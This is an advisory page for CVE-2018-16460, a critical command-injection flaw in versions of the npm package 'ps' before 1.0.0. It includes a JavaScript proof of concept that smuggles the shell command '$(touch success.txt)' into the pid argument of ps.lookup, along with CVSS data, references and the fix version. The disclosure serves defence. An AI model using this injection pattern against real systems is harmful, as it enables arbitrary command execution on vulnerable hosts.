Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNmaGctOXg0NC03OGgy
ps Enables OS Command Injection
Versions of ps
before 1.0.0 are vulnerable to command injection.
Proof of concept:
var ps = require('ps');
ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection
if (err) {throw err;}
if (proc) {
console.log(proc); // Process name, something like "node" or "bash"
} else {
console.log('No such process');
}
});
// Result: The file success.txt will exist on the filesystem if the touch command was executed
Recommendation
Update to version 1.0.0 or later.
Permalink: https://github.com/advisories/GHSA-cfhg-9x44-78h2JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNmaGctOXg0NC03OGgy
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: about 6 years ago
Updated: about 1 year ago
CVSS Score: 9.8
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Identifiers: GHSA-cfhg-9x44-78h2, CVE-2018-16460
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-16460
- https://hackerone.com/reports/390848
- https://github.com/advisories/GHSA-cfhg-9x44-78h2
- https://github.com/nodejs/security-wg/blob/master/vuln/npm/470.json
- https://www.npmjs.com/advisories/728
Affected Packages
npm:ps
Dependent packages: 10Dependent repositories: 79
Downloads: 1,969 last month
Affected Version Ranges: < 1.0.0
Fixed in: 1.0.0
All affected versions: 0.0.0, 0.0.1, 0.0.2
All unaffected versions: 1.0.0